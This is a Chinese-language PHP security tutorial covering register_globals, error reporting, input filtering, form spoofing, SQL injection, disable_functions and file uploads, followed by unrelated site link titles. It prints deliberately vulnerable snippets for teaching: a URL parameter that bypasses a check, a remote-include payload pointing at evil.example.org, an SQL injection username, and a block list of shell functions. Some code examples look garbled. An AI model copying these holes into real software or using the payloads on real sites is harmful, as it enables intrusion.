主页
软件技术
返回
PHP安全

            学习目标:
        1、写代码时要有安全意识。
        2、掌握PHP安全的一些常用方法。
        实现功能->效率(运行效率、开发效率)、安全

        一些提高安全的方法:

        1、Register Globals

        register_globals 参数在 PHP 的 4.2.0 及以上版本中默认为屏蔽。虽然这并不认为是一个安全漏洞,但是的确是一个安全风险。因此,应该始终在开发过程和运行环境中屏蔽 register_globals。
例子:
<?php
if(authenticated_user())
{'
$authorized = true;

        }

        if($authorized)
{
include '/highly/sensitive/data.php';

        }

        ?>

        当参数 register_globals 开启的时候,这个页面可以使用 ?authorized=1 的参数访问,从而绕过访问控制。当然,这个明显的漏洞是糟糕的开发造成的,而不是 register_globals 的原因,但是这明显增加了产生危险漏洞的可能。消除了这个影响,普通的全局变量(比如本例中的 $authorized)将不再受到客户端提交的数据的影响。最好的方式是初始化全部变量并且在开发时将参数 error_reporting 设置为 E_ALL,这样使用未初始化的变量就不会在开发的时候被忽略。
另外一个关于 register_globals 的例子是在使用 include 包含动态路径的时候可能产生问题:

        <?php include "$path/script.php"; ?>

        $mod = isset ($_GET['mod']) ? $_GET['mod'] : 'index';

        If (in_array ($mod,array ('school','qq'))){

        Include $mod.'.class.php';

        }

        当参数 register_globals 开启的时候,这个页面可以使用 ?path=http%3A%2F%2Fevil.example.org%2F%3F 的参数访问,使得本例中的代码和下面的代码等同:

        <?php include ''; ?>

        如果参数 allow_url_fopen 开启的时候(即便是在 php.ini-recommended 中,默认也是开启的),这将如同包含本地文件一般包含 这样的远程文件。这是一个常见的安全漏洞,甚至在一些非常著名的开源项目中都发现。

        初始化 $path 可以避免这个隐患,而且不用屏蔽参数 register_globals 。然而开发人员的失误可能会产生没有初始化的变量,修改全局配置以屏蔽参数 register_globals 可以尽可能的避免这种隐患被忽视。
屏蔽参数 register_globals 会帮助开发人员更加留意数据的来源,而这正是一个有安全意识的开发人员所应该具备的素质。
对变量要进行初始化,严格检查。

        2、错误报告

        从早期的版本到 2004 年 7 月 13 日发布的 PHP 5,错误报告都是相当简单的。除了小心编写程序,还要留意一些特定的 PHP 配置项目:

        error_reporting

        这个项目设置了错误报告的等级。开发环境中,强烈建议将这个参数设置为 E_ALL。 运行环境中,也建议设置为E_ALL。

        display_errors

        这个项目决定是否将错误显示在屏幕上(包含在输出中)。应当在开发中设置为 On,这样可以在开发时就发现错误;应当在运行环境中设置为 Off,这样在所有用户(和潜在攻击者)面前错误将被隐藏。

        log_errors

        这个项目决定是否将错误写入日志。虽然这会引起性能损失,但是对于并不经常出现的错误这是非常必要的。如果在硬盘上记录错误带来了巨大的 I/O 负荷,比起应用程序的效率来说,这或许应当引起更多的注意。应当在开发环境和运行环境中设置为 On。

        error_log

        这个项目决定了日志文件存放的位置和名字。一定要确保 web 服务器对指定文件拥有权限。

        设置 error_reporting 为 E_ALL 对于强制初始化变量有帮助,因为使用一个未定义的变量会产生提示(notice)。

        一个非常好的错误处理和报告函数在 PHP 手册中有所介绍:

        PHP 5 包含异常处理。了解更多信息,请查阅:

        对各种可能的情况,进行充分测试,找到并排除错误。

        3、数据过滤
数据过滤在任何语言、任何平台上都是WEB应用安全的基石。这包含检验输入到应用的数据以及从应用输出的数据,确保数据过滤无法被绕过,确保不合法的信息不会影响合法的信息,并且识别数据的来源。
应该仔细审查用户的每一个输入及输出数据是否合法。充分测试各种情况下的程序运行情况。
数字类型的数据,要对它进行类型转换(转换到数字类型),再使用。

        使用正则表达式来检查电子邮件、网址、电话、用户名等信息。
ctype_* 系列函数可用于检查数据的合法性,效率比正则要高。

        相关详细说明

函数名

释义

介绍

htmlspecialchars

将与、单双引号、大于和小于号化成HTML格式

&转成& "转成"'   转成'<转成<>转成>

htmlentities()

所有字符都转成HTML格式

除上面htmlspecialchars字符外,还包括双字节字符显示成编码等。




addslashes

单双引号、反斜线及NULL加上反斜线转义

被改的字符包括单引号 (')、双引号   (")、反斜线 backslash () 以及空字符NULL。

stripslashes

去掉反斜线字符

去掉字符串中的反斜线字符。若是连续二个反斜线,则去掉一个,留下一个。若只有一个反斜线,就直接去掉。




quotemeta

加入引用符号

将字符串中含有 .  + * ?   [ ^ ] ( $ ) 等字符的前面加入反斜线 "" 符号。

nl2br()

将换行字符转成<br>


strip_tags

去掉HTML及PHP标记

去掉字符串中任何 HTML标记和PHP标记,包括标记封堵之间的内容。注意如果字符串HTML及PHP标签存在错误,也会返回错误。

mysql_real_escape_string

转义SQL字符串中的特殊字符

转义 x00 空格    ' " x1a,针对多字节字符处理很有效。mysql_real_escape_string会判断字符集,mysql_escape_string则不用考虑。




        4、欺骗表单提交

        为了进一步了解数据过滤的必要,思考下面这个表单(假想的): :
<form action="/process.php" method="POST">

        <select name="color">

        <option value="red">red</option>

        <option value="green">green</option>

        <option value="blue">blue</option>

        </select>

        <input type="submit" />

        </form>

        设想一个攻击者保存了这段 HTML 并修改为:

        <form action="" method="POST">

        <input type="text" name="color" /> <input type="submit" />
</form>

        这个新的表单可以存放在任何地方(web 服务器并不是必须的,只要浏览器可以访问的即可),并可以随意使用。action 属性设定的绝对 URL 将 POST 请求发到相同的地方。
一个简单的解决方案是:在提交表单时增加验证码验证。

        进一步,可以通过域名判断:
if(substr($_SERVER['HTTP_REFERER'], 7, 12) <> 'shopfine.com')

        <?php echo $_SERVER['HTTP_REFERER'];?>可以得到链接/提交当前页的父页面URL.另外,可以使用一些简单的问题来实现验证的作用,比如出一个这样的问题:
1+5=?  一般人都知道是6,而破解软件可能不会这么智能。

        5、目录及文件安全

         有这样一个文件,保存了数据库的相关信息:
参考db.inc

        这个例子包含连接到数据库的全部信息,并保存为文件 db.inc。它在一个文件里保存了帐户信息,这看起来是非常省心的。问题出现在这个文件保存在在根文档(document root)下面的某个地方。这是非常普通的,因为这样使用 include 和 require 语句更加简单。但是这也将导致暴露你的数据库帐户信息。

        一定要记住,在根文档(document root)下的所有东西都有一个 URL 与之关联。例如,如果根文档(document root)在 /usr/local/apache/htdocs,当一个文件存储在 /usr/local/apache/htdocs/inc/db.inc 时,则可以通过 URL 访问到它。
解决方案1:将db.inc 改名为 db.php
解决方案2:将db.inc 放在网站根目录之外;或者放在网站的一个目录中,并且限制这个目录的http访问权限(但可以在其他php中require)。
6、SQL注入
SQL 注入攻击相当容易防范,但是许多应用仍然容易受到这种攻击的侵害。考虑下面的 SQL 语句:

        mysql_escape_string

        (PHP 4 >= 4.0.3, PHP 5, PECL mysql:1.0)

        mysql_escape_string — 转义一个字符串用于 mysql_query

        说明

        string mysql_escape_string ( string $unescaped_string )

        本函数将 unescaped_string 转义,使之可以安全用于 mysql_query()。

        Note: mysql_escape_string() 并不转义 % 和 _。 本函数和 mysql_real_escape_string() 完全一样,除了 mysql_real_escape_string() 接受的是一个连接句柄并根据当前字符集转移字符串之外。mysql_escape_string() 并不接受连接参数,也不管当前字符集设定。

        Example#1 mysql_escape_string() 例子

        <?php

        $item = "Zak's Laptop";

        $escaped_item = mysql_escape_string($item);

        printf ("Escaped string: %s ", $escaped_item);

        ?>

        以上例子将产生如下输出:

        Escaped string: Zak's Laptop

        <?php
$sql = "INSERT INTO users (reg_username, reg_password, reg_email) VALUES ('{$_POST['reg_username']}', '$reg_password', '{$_POST['reg_email']}')";

         ?>

        这个语句由 $_POST 构成,这是毫无疑问的。

        假设这个语句创建了一个新帐号。用户提供了想要的用户名和邮件帐号。注册程序产生临时的密码并发送邮件到用户处用于验证邮件地址。设想用户输入下面的内容作为用户名:('good_guybad_guy', 'mypass', ''), 

        这当然不是一个合法的用户名,但是关键的地方没有数据过滤,应用程序无法判断。如果提供一个合法的邮件地址(例如 shiflett@php.net),而应用程序生成密码为 1234,SQL 语句将变为:

        <?php $sql = "INSERT INTO users (reg_username, reg_password, reg_email) VALUES ('bad_guy', 'mypass', ''), ('good_guy', '1234', 'shiflett@php.net')"; ?>

        除了用合法的邮件地址创建了一个帐号(good_guy),应用程序还创建了第二个帐号(bad_guy),用户提供了所有关于这个帐号的信息。

        虽然这个特殊的例子看起来并没有什么很大的伤害,不过一旦攻击者可以修改 SQL 语句会造成多么大的损失也是相当明确的。
解决方案:仍旧是过滤数据,检查所提交的用户名是否合法(不能用引号和特殊符号;或限制用户在英文、数字、下划线,且以英文开头)。
一般提交表单,采用javascript和php两道过滤。

        $str = "'";

        $sql = "SELECT  * FROM `message` WHERE 1 ";

        $sql .= "AND  `content` LIKE  '%".addslashes_deep($str)."%' ";

        $res = $db->getAll($sql);

        echo '<pre>';

        print_r ($res);

        echo '</pre>';
7、PHP及相关软件版本更新
应及时将服务器的PHP及相关软件(Apache、MySQL等)升级到最新稳定版本,这样能避免一些已知的安全漏洞。
比如PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高。
PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,虽然不能获得本地用户权限,但是也能造成拒绝服务。

        8、PHP的safe mode模式

        safe_mode是唯一PHP_INI_SYSTEM属性,必须通过php.ini或httpd.conf来设置。要启用safe_mode,只需修改php.ini: safe_mode = On 或者修改httpd.conf,定义目录:

        Options FollowSymLinks php_admin_value safe_mode 1

        重启apache后safe_mode就生效了。启动safe_mode,会对许多PHP函数进行限制,特别是和系统相关的文件打开、命令执行等函数。

        默认情况下,所有操作文件的函数将只能操作与脚本UID相同的文件。
注意:如果在linux中启用了safe_mode,那么如果要在一个目录中创建一个目录,比如要在/upload中创建一个20081202,那么/upload目录所有者必须是apache的所有者。

        9、权限认证
程序中应进行严格的权限认证,比如后台管理中的各程序,应加上管理员的权限认证。前台、后台的每一个操作都应根据实际情况,进行严格的权限认证。一般使用的权限认证是进行密码校对。另外也可以使用数字签名对权限进行认证。

        ajax调用的PHP程序,也要进行权限判断。

        10、禁用PHP的一些系统操作相关的函数
修改php.ini,设置
disable_functions = set_time_limit system exec chdir readdir opendir is_dir shell_exec passthru proc_open proc_close proc_get_status checkdnsrr getmxrr getservbyname getservbyport syslog popen show_source highlight_file posix_ctermid posix_get_last_error posix_getcwd posix_getegid posix_geteuid posix_getgid posix_getgrgid posix_getgrnam posix_getgroups posix_getlogin posix_getpgid posix_getpgrp posix_getpid posix_getppid posix_getpwnam posix_getpwuid posix_getrlimit posix_getsid posix_getuid posix_isatty posix_kill posix_mkfifo posix_setegid posix_seteuid posix_setgid posix_setpgid posix_setsid posix_setuid posix_strerror posix_times posix_ttyname posix_uname dl socket_listen socket_create socket_bind socket_accept socket_connect stream_socket_server stream_socket_accept stream_socket_client ftp_connect ftp_login ftp_pasv ftp_get zlib.compress gzopen gzpassthru gzcompress eval system

11、disable_classes

        这个选项是从PHP-4.3.2开始才有的,它可以禁用某些类,如果有多个用逗号分隔类名。disable_classes也不能在httpd.conf里设置,只能在php.ini配置文件里修改。

        12、open_basedir
在php.ini中设置open_basedir,或者在httpd.conf中设置这样一行:
php_admin_value open_basedir "d:/www/xingmo/;c:/windows/temp/"
注意:目录最后加上/。如果不加上/, "open_basedir = /dir/incl" 也会允许访问 "/dir/include" 和 "/dir/incls"。
在其他系统中(如Linux),将多个目录中的;改为:。
这样做了以后,将php的活动范围限制在本站目录中。
每一个站点一定要设置(在httpd-vhosts.conf中设置)。 
13、密码安全
促使用户填写较安全的密码;数据库中对密码进行加密。

        14、上传文件

        上传文件时,应判断上传文件的类型(判断文件的后缀,并要判断文件的type)。
上传文件的大小,要进行限制。

        上传文件后,应将文件重新命名,不要使用上传之前的文件名。

        15、清除HTML或JavaScript 
如果要在网站上显示留言内容,应将留言中的HTML(至少是JavaScript去掉),以免执行一些不希望出现的操作。(PHP的strip_tags函数)

        16、不要在运行的站点上保留phpinfo()脚本
 phpinfo()会暴露网站的很多信息,增加网站被攻击的机会。 
17、发邮件时,应检查收件人,避免发送到多个邮箱地址

        18、尽量使用POST而不是GET方式提交数据
如果采用GET方式提交数据,从表单中提交的密码,就会在地址栏显示出来。

        其他程序安全措施:
PHP5 PECL库的过滤器功能;
PEAR Auth软件包;
Mcrypt加密;
SESSION和COOKIE加密等。 
改变SESSION的默认存储目录,或将SESSION放在数据库中(可参考ecshop的session机制)

        session_save_path 
安全只有相对的,没有绝对的,关键是要有安全的意识。及时增加安全的系数(让网站更安全),发现安全问题时,及时有效地应对。

        当然,PHP的安全并不等于整个网站的安全,整个网站的安全,还涉及到:
a.服务器硬件安全
服务器硬件的状况,是否稳定;所在机房是否正规;机房是否有监控录像;电力保障是否到位;网络是否稳定。
b.服务器软件安全
包括操作系统安全;软件安全(及时升级软件到最新稳定版本);数据安全(本机备份,下载数据);系统文件权限;建立防火墙等;尽量减少系统的服务;经常检查系统及软件的运行日志、系统的登录记录。
c.网络传输安全
如使用SSL加密。

        


陈德坚:拒绝“差不多”主义,做“实力派”设
一级建造师考试《市政公用工程》精华辅导(128)
煤矿井下从业人员安全知识:自救与互救
李迅:智慧城市发展呈现不平衡特点
合同与招标基础知识《代理》
09年一级建造师考试《法规及相关知识》辅导资料(115)
张志高:住宅产业化集成美好生活
煤矿井下从业人员安全知识
信息发布:名易软件http://www.myidp.net